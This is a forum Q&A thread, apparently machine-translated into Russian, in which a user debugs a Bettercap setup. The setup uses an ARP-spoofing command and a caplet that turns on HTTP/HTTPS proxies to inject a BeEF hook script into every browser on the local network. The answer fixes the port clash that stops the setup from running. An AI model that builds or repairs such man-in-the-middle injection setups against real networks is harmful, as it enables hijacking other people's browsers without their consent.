Bettercap: bind: адрес уже используется

Question

Какой бы порт я не использовал, я получаю сообщение об ошибке:

прослушать tcp 0.0.0.0:PORT_NUMBER: bind: адрес уже используется

Среда

• Я также установил это с помощью Brew, если вам нужно знать, что
  • Bettercap 2.11.1
  • Mac OS High-Sierra
  • Голанг 1.11.4

Код командной строки используется:

sudo bettercap -eval "set net.probe off; set arp.spoof.targets 0.0.0.0" -caplet beef-active.cap

говядина active.cap:

set http.proxy.script beef-inject.js
set http.proxy.port 8011
set https.proxy.port 8011
http.proxy on
https.proxy on
sleep 1
arp.spoof on

Ожидаемое поведение:

Я пытаюсь ввести некоторые js в браузер каждого компьютера, подключенного к моему маршрутизатору. Я только для того, чтобы увидеть сообщение о том, что инъекция говядины была успешно введена

Фактическое поведение: что на самом деле произошло

Останавливается, когда он попадает на мой IP-адрес. Вот вывод:

[13:26:41] [sys.log] [inf] http.proxy запущен 0.0.0.0:8011 (sslstrip отключен)

[13:26:41] [sys.log] [inf] загрузка ключа TLS центра сертификации прокси-сервера из /var/root/.bettercap-ca.key.pem

[13:26:41] [sys.log] [inf] загрузка сертификата TLS доверенного центра сертификации из /var/root/.bettercap-ca.cert.pem

[13:26:41] [sys.log] [inf] Включение пересылки.

[13:26:41] [sys.log] [inf] https.proxy запущен 0.0.0.0:8011 (sslstrip отключен)

[13:26:41] [sys.log] [!!!] listen tcp 0.0.0.0:8011: bind: адрес уже используется

редактировать:

Изменение обоих портов на разные остановило ошибку, однако она по-прежнему ничего не вводит в браузеры. Все, что я продолжаю получать в консоли:

Итак, я изменил это, и я больше не получаю эту ошибку, однако, она все еще не вводит JS в браузеры. Я просто продолжаю получать новые и потерянные конечные точки, вот так:

0.0.0.0/24 > 0.0.0.0  » [08:33:17] [endpoint.new] endpoint 0.0.0.0 detected as 04:18:d6:d0:69:e7 (Apple, Inc.).
0.0.0.0/24 > 0.0.0.0  » [08:33:23] [endpoint.lost] endpoint 0.0.0.0 (Apple, Inc.) lost.

.... Затем он продолжает тикать через те же сообщения, новые> потерянные> новые> потерянные

Есть идеи?

Answer 1

set http.proxy.port 8011
set https.proxy.port 8011

Эти порты настроены на одно и то же, что означает, что они оба пытаются прослушивать 8011 и давят друг на друга.

Измените один из них на другой порт, и ошибка должна исчезнуть.

Ура!